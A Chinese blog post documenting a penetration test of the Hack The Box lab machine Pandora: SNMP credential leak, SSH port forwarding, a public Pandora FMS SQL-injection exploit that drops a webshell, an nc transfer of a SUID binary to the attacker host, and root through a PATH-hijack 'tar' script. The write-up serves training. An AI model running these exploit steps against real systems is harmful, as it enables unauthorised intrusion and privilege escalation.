HTB Pandora 渗透测试详细记录

你是慕鸢呀~ 发布于 15 小时前 8 次阅读 2132 字 预计阅读时间: 10 分钟


AI 摘要

HTB Pandora 渗透测试详细记录 本文记录了针对 Hack The Box 平台上 Easy 难度 Linux 靶机 Pandora 的完整渗透测试过程。 ## 关键攻击路径 **初始侦察**:通过 TCP/UDP 端口扫描发现 SNMP 服务(UDP 161) **信息泄露**:利用 SNMP 公共 community 字符串枚举到明文凭证 daniel:HotelBabylon23 **初始访问**:通过 SSH 使用获取的凭证登录系统 **横向移动**:发现内部 Pandora FMS 服务,通过端口转发后利用 RCE 漏洞获取 matt 用户权限 **权限提升**:利用 SUID 程序 pandora_backup 的 PATH 劫持漏洞最终获得 root 权限 ## 技术要点 - SNMP 信息泄露暴露关键凭证 - Pandora FMS v7.0NG.742 存在未授权 RCE 漏洞 - SUID 二进制文件 pandora_backup 使用相对路径调用 tar 命令 - 通过 PATH 环境变量劫持实现权限提升 整个渗透过程展示了从外部侦察到最终获取 root 权限的完整攻击链,突出了配置错误和版本漏洞在渗透测试中的重要性。

HTB Pandora 渗透测试详细记录

靶机介绍

名字 Pandora
创建日期 08 Jan 2022
操作系统 Linux
难度 Easy

image-20251013202148528

1. 初始侦察阶段

使用 nmap 对目标进行 TCP 和 UDP 端口扫描,以识别开放的服务。

└──╼ [★]$ sudo nmap -sT --min-rate 3000 10.129.137.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 03:32 CDT
Nmap scan report for 10.129.137.175
Host is up (0.0019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

└──╼ [★]$ sudo nmap -sU --min-rate 3000 10.129.137.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 03:19 CDT
Nmap scan report for 10.129.137.175
Host is up (0.0051s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
135/udp   closed msrpc
161/udp   open   snmp
18234/udp closed unknown
19504/udp closed unknown
28465/udp closed unknown
49179/udp closed unknown

结果显示,目标开放了 TCP 22 (SSH), 80 (HTTP) 端口,以及 UDP 161 (SNMP) 端口。SNMP 服务可能是是一个突破口。

2. 服务探测与信息收集

利用 snmp-check 工具对 SNMP 服务进行信息枚举,使用常见的 community 字符串 public

sudo snmp-check 10.129.137.175 -c public

命令返回了海量信息,简单分析之后,可以得到以下内容

系统信息:

  1. 主机名: pandora
  2. 操作系统: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
  3. 用户名: Daniel

网络信息: 从 "TCP connections and listening ports" 和 "Listening UDP ports" 部分,我们可以看到系统开放了哪些端口:

  1. TCP 22: sshd - SSH 服务,用于远程登录。
  2. TCP 3306: mysqld (监听在 127.0.0.1) - MySQL/MariaDB 数据库服务。因为它只监听在本地回环地址,所以我们无法从外部直接访问,但可以作为本地提权后的攻击目标。
  3. TCP 80: 从进程列表中的 apache2 来看,很可能开放了 80 端口(HTTP)。
  4. UDP 161: snmpd - SNMP 服务,我们就是通过它获取的这些信息。
  5. UDP 68: dhclient - DHCP 客户端服务。
  6. UDP/TCP 53: (监听在 127.0.0.53) - 本地 DNS 解析服务

进程信息:

  1. PID 974 & 1145: sh -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'

    这是一个计划任务或者脚本,它以明文形式暴露了一组凭证。 用户名: daniel 密码: HotelBabylon23 这组凭证有可能就是 daniel 用户在系统上的登录凭证。

  2. PID 1006, 1043, 1044, ...: apache2 - 确认了 Web 服务器正在运行。

  3. PID 1041: mysqld - 确认了数据库服务器正在运行。

  4. PID 976: snmpd - SNMP 服务本身。

  5. PID 1005: sshd - SSH 服务本身。

3. 漏洞识别与初始访问

利用从 SNMP 枚举中获得的凭证,通过 SSH 成功登录 daniel 用户。

ssh daniel@10.129.137.175
HotelBabylon23

登录后发现,当前用户权限不足,无法读取位于 /home/matt/ 目录下的 user.txt

继续在服务器内部进行信息收集,发现 Apache 的一个虚拟主机配置文件 /etc/apache2/sites-enabled/pandora.conf,该配置指向一个仅在本地 localhost:80 监听的 Pandora FMS 服务。

daniel@pandora:~$ ls
daniel@pandora:~$ pwd
/home/daniel
daniel@pandora:~$ cd ..
daniel@pandora:/home$ ls -al
total 16
drwxr-xr-x  4 root   root   4096 Dec  7  2021 .
drwxr-xr-x 18 root   root   4096 Dec  7  2021 ..
drwxr-xr-x  4 daniel daniel 4096 Oct 13 08:47 daniel
drwxr-xr-x  2 matt   matt   4096 Dec  7  2021 matt
daniel@pandora:/home$ whoami
daniel

daniel@pandora:/home$ cd matt/
daniel@pandora:/home/matt$ ls
user.txt
daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied

继续寻找别的信息

查看 /var/www/ 目录

ls -al /var/www/
total 16
drwxr-xr-x  4 root root 4096 Dec  7  2021 .
drwxr-xr-x 14 root root 4096 Dec  7  2021 ..
drwxr-xr-x  3 root root 4096 Dec  7  2021 html
drwxr-xr-x  3 matt matt 4096 Dec  7  2021 pandora

html 目录的网站就是我们在浏览器中访问靶机 IP 地址时看到的那个,那另一个会是什么呢?

检查 Apache 配置文件

cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>

这个web服务只监听 localhost 的 80 端口,想办法把这个端口转发出去。

转发端口有两种方法,一种是建立动态转发,参数是 -D,创建一个通用的socks 代理,另一种方法是直接建立本地转发,参数是 -L,一对一映射远程端口,用于访问远程网络中的特定服务。

我这里选择第二种,我只需要访问目标的80端口。

ssh -L 8081:localhost:80 daniel@10.129.137.175

访问 localhost:8081

image-20251013204221420

查看页面底部会暴露 Pandora FMS 的版本,即 v7.0NG.742_FIX_PERL2020

在google 搜索这个 版本号,找到一个可用的 exp

https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated?tab=readme-ov-file

尝试利用exp

git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated.git
cd Pandora_v7.0NG.742_exploit_unauthenticated/
python sqlpwn.py -t localhost:8081 -f webshell.php
URL:  http://localhost:8081/pandora_console
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : 9kjkmojr8io7b2p836lj0ar33u
[+] Sending Payload 
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control : http://localhost:8081/pandora_console/images/webshell.php?test=
CMD > whoami
matt

这里拿到了一个不太稳定的 matt 用户的 shell 权限,我这里的想法是写入ssh 公钥,然后通过私钥连接

先本地生成 ssh key

ssh-keygen -t rsa -b 4096 -N "" -f id_rsa

然后把 公钥 url编码

image-20251013204930806

创建 .ssh 目录,并把公钥写入靶机

image-20251013205420189

4. 横向移动&权限提升前的信息收集

使用 私钥 连接 靶机

ssh -i id_rsa matt@10.129.134.54

在靶机上查找所有设置了 SUID 位的文件

matt@pandora:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1

matt@pandora:~$ ls -al /usr/bin/pandora_backup 
-rwsr-x--- 1 root matt 16816 Dec  3  2021 /usr/bin/pandora_backup

尝试执行这个文件,发现这是一个备份程序,主要用来 备份 PandoraFMS

matt@pandora:~$ /usr/bin/pandora_backup
[** SNIP **]
/var/www/pandora/pandora_console/vendor/egulias/email-validator/phpunit.xml.dist
/var/www/pandora/pandora_console/vendor/egulias/email-validator/LICENSE
/var/www/pandora/pandora_console/ws.php
Backup successful!
Terminating program!

把这个文件传送到本地,这里可以使用python启动一个http服务,或者使用nc,我这里选择 nc。

本地开始监听

nc -lnvp  1234 > pandora_backup

靶机开始传输

matt@pandora:~$ nc 10.10.14.36  1234 < /usr/bin/pandora_backup

通过 strings 命令对该二进制文件进行静态分析,发现它在执行备份时调用了 tar 命令,但使用的是相对路径而不是绝对路径 /bin/tar

strings pandora_backup
...
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
...

这是一个典型的 PATH 变量劫持漏洞。

5. 权限提升

利用 PATH 变量劫持漏洞进行提权。

  1. matt 的主目录下创建一个名为 tar 的恶意脚本,内容为启动一个交互式 shell (/bin/bash)。
  2. 赋予该脚本可执行权限 (chmod +x tar)。
  3. 修改 PATH 环境变量,将当前目录 (/home/matt) 添加到 PATH 的最前面。
  4. 执行 SUID 程序 /usr/bin/pandora_backup
matt@pandora:~$ echo "/bin/bash" > tar
matt@pandora:~$ ls
tar  user.txt
matt@pandora:~$ chmod +x tar
matt@pandora:~$ pwd
/home/matt
matt@pandora:~$ export PATH=/home/matt:$PATH
matt@pandora:~$ echo $PATH
/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:~# id
uid=0(root) gid=1000(matt) groups=1000(matt)
root@pandora:~# cat /root/root.txt 
*********************************
root@pandora:~# cat /home/matt/user.txt 
.bash_history  .bash_logout   .bashrc        .cache/        .profile       .ssh/          tar            user.txt
root@pandora:~# cat /home/matt/user.txt 
*********************************

6. 攻击链路图

初始侦察 (tcp/udp端口扫描)
    ↓
udp服务分析 (snmp服务信息泄漏)
    ↓
发现明文凭据 (daniel:HotelBabylon23)
    ↓  
建立立足点(ssh登录 daniel 用户)
    ↓
内部信息收集 (发现本地Pandora FMS服务)
    ↓
端口转发 ( SSH -L 访问内部服务)
    ↓
漏洞利用 ( Pandora FMS RCE)
    ↓
横向移动 (获取matt用户shell)
    ↓
提权前的信息收集 (发现SUID程序pandora_backup)
    ↓
漏洞识别(PATH变量劫持漏洞)
    ↓
提权(构造执行tar脚本)

阅读原文

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-10-13